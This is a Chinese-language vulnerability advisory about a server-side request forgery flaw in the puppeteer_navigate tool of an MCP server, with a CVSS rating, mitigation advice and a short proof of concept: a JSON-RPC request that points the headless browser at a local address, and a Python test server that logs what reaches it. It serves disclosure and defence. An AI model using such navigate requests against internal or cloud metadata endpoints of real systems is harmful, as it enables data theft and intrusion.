# 漏洞总结:GlutamateMCPServers 中的服务端请求伪造 (SSRF) 漏洞 ## 1. 漏洞概述 * **漏洞类型**:服务端请求伪造 (SSRF) - CWE-918 * **受影响组件**:`@glutamateapp/puppeteer` (位于 `src/puppeteer/index.ts`) * **漏洞描述**:`puppeteer_navigate` MCP 工具接受用户提供的 URL 参数,并直接传递给 `page.goto` 进行导航,未进行任何验证或白名单限制。攻击者利用此漏洞可让无头浏览器访问任意目标(包括内部服务、云元数据端点等),导致信息泄露或进一步系统入侵。 * **CVSS 评分**:10.0 (Critical) * **CVSS 向量**:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H ## 2. 影响范围 * **受影响版本**: * 已确认受影响的 Commit:`e2de7328b001e5d943593dd1aa2c01c8b911278` (最新版本) * 受影响范围:包含相同请求到 sink 流的修订版本。 * **安全影响**: * **机密性**:高(主机/系统数据泄露)。 * **完整性**:高(SSRF 可能修改浏览器状态)。 * **可用性**:高(通过命令滥用导致服务中断)。 * **作用域**:已改变 (Changed)。 ## 3. 修复方案 * **短期缓解**: * 对出站请求实施严格的 URL 白名单(限制 scheme/host/port/path)。 * 阻止回环、链接本地、RFC1918 及 DNS 解析后的元数据目标。 * 添加认证、授权、日志记录和速率限制。 * **长期修复**: * 消除请求到 sink 的数据流。 * 在 MCP/HTTP 边界添加输入模式验证。 * 添加回归测试,证明攻击者控制的值无法到达敏感 sink。 * 发布维护者安全公告。 ## 4. 概念验证 (POC) 代码 **JSON 请求载荷:** ```json {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"puppeteer_navigate","arguments":{"url":"http://127.0.0.1:8000"}}} ``` **Python 测试服务器代码 (用于验证 SSRF):** ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json class Handler(BaseHTTPRequestHandler): def _reply(self): length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length) if length else b"" print("=== Incoming Request ===") print("Client:", self.client_address) print("Method:", self.command) print("Path:", self.path) print("Headers:", self.headers) if body: print("Body:", body.decode("utf-8", errors="replace")) resp = { "ok": True, "method": self.command, "path": self.path, "message": "local test server reached" } data = json.dumps(resp).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def do_GET(self): self._reply() def do_POST(self): self._reply() if __name__ == "__main__": server = HTTPServer(("127.0.0.1", 8000), Handler) print("Listening on http://127.0.0.1:8000") server.serve_forever() ```